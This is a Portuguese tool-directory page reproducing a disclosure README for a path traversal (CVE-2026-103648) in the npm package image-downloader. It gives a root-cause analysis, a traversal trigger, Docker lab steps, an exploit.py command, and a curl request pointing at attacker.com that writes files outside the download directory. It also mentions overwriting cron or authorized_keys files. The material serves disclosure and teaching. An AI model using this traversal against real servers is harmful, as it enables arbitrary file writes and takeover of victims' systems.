Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-103648 — Advisory e PoC para CVE-2026-103648, um path traversal (CWE-22) no image-downloader 4.3.0 que permite escrita arbitrária de arquivos, com análise de causa raiz, diff de patch e laboratório Docker. | Kitploit
Ferramentas/GitHubGitHub/eternullsec/cve-2026-103648
Scanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoRed TeamingLabs e Prática
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

Advisory e PoC para CVE-2026-103648, um path traversal (CWE-22) no image-downloader 4.3.0 que permite escrita arbitrária de arquivos, com análise de causa raiz, diff de patch e laboratório Docker.

231há 18 diasAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-103648 — Path Traversal em image-downloader

CVE CVSS CWE Package Status License

Descoberto por: Amirhossein Roustaei (@EterNullSec) — Eternull Security

📖 Análise técnica completa: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal

⚠️ Apenas para fins educacionais. Este repositório documenta uma vulnerabilidade divulgada de forma responsável. Todo o código PoC destina-se exclusivamente a pesquisa e testes de segurança autorizados em ambientes de laboratório isolados. Não utilize contra sistemas que não lhe pertencem ou para os quais não possui permissão escrita explícita de teste.


📋 Resumo do Aviso

CampoDetalhes
ID do CVECVE-2026-103648
Entrada no NVDnvd.nist.gov/vuln/detail/CVE-2026-103648
Pontuação CVSS v3.19.1 Crítica — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: Limitação Imprópria de um Caminho para um Diretório Restrito
Pacoteimage-downloader (npm) por demsking
Downloads semanais no npm~11.000 (~38.000/mês) — fonte
Versões Afetadas< 4.3.1 (todas as versões, incluindo 4.3.0)
Versão Corrigida4.3.1
Atribuído PorGitLab
Publicado2026-10-02
RelatorAmirhossein Roustaei (@EterNullSec), Eternull Security

🔬 Análise Técnica da Causa Raiz

A vulnerabilidade está na lógica de extração de nome de arquivo do [email protected]. Este é o código-fonte real da versão afetada (index.js, obtido diretamente do pacote npm publicado):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

O bug exato

  1. path.basename(pathname) é chamado sobre o pathname da URL ainda codificado em percentual. Uma sequência como %2e%2e%2fpwned.sh não contém nenhuma / literal, então path.basename() trata a coisa toda como um único nome de arquivo e o retorna inalterado — nada é removido.
  2. O resultado é então passado por decodeURIComponent(). Este é o passo que transforma %2e%2e%2f de volta em um ../ literal — mas agora ele já sobreviveu ao passo de basename que deveria sanitizá-lo.
  3. path.join(options.dest, decodedBasename) é chamado com uma string que agora contém um segmento ../ real. path.join() normaliza .. da mesma forma que cd .. faria — então o caminho de escrita final resolve para um local fora de options.dest.

Em resumo: o código decodifica o nome do arquivo da forma correta, apenas na ordem errada em relação a path.basename(). Decodificar-depois-basename é seguro; basename-depois-decodificar não é.

Gatilho mínimo

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

Detalhamento do CVSS

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 Modelo de Ataque

Este laboratório demonstra o mecanismo da falha de ponta a ponta em um único script para facilitar a reprodução, mas vale explicitar o modelo de ataque do mundo real:

  • Vítima: qualquer aplicação que chame download.image({ url, dest }) do image-downloader com um valor de url que ela própria não controlava totalmente — por exemplo, uma URL enviada por um usuário (funcionalidades de importação de avatar/imagem), extraída de um payload de webhook, ou lida de um feed RSS/conteúdo.
  • Atacante: controla (ou consegue redirecionar para) o servidor HTTP para o qual a url da vítima aponta, e controla o componente de caminho dessa URL — o que já é suficiente por si só, pois a travessia reside no caminho da URL (%2e%2e%2f...), não no corpo da resposta.
  • Impacto: o processo da vítima grava um arquivo escolhido pelo atacante em um caminho escolhido pelo atacante, fora do diretório pretendido pelo desenvolvedor — em contêineres ou scripts executados com amplo acesso ao sistema de arquivos, isso rotineiramente escala para execução de código (por exemplo, sobrescrevendo um arquivo cron, um arquivo authorized_keys, ou um executável que a aplicação executa posteriormente).

Em exploit/exploit.py, os papéis de atacante e vítima são colapsados em um único script por conveniência do laboratório (ele monta tanto a requisição do servidor "vítima" quanto o servidor de payload controlado pelo atacante). Em um cenário real de exploração, estas são duas partes separadas e não relacionadas — o PoC está estruturado desta forma puramente para que a vulnerabilidade seja reproduzível com um único comando.


🧪 Configuração do Ambiente de Laboratório

Pré-requisitos

  • Docker & Docker Compose OU Node.js v18+
  • Python 3.x (para o script de exploit)

Opção A — Docker (Recomendado)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

O servidor vulnerável estará disponível em http://localhost:3000.

Opção B — Node.js manual

cd vulnerable-app/
npm install
node server.js

💥 Passos para Reproduzir (PoC)

Passo 1 — Iniciar o Servidor Vulnerável

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

Passo 2 — Executar o Exploit

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

Ou manualmente com curl (a travessia está no caminho da URL, não no corpo da resposta):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

Passo 3 — Verificar a Travessia

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 Prova de Execução

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Baixar ferramenta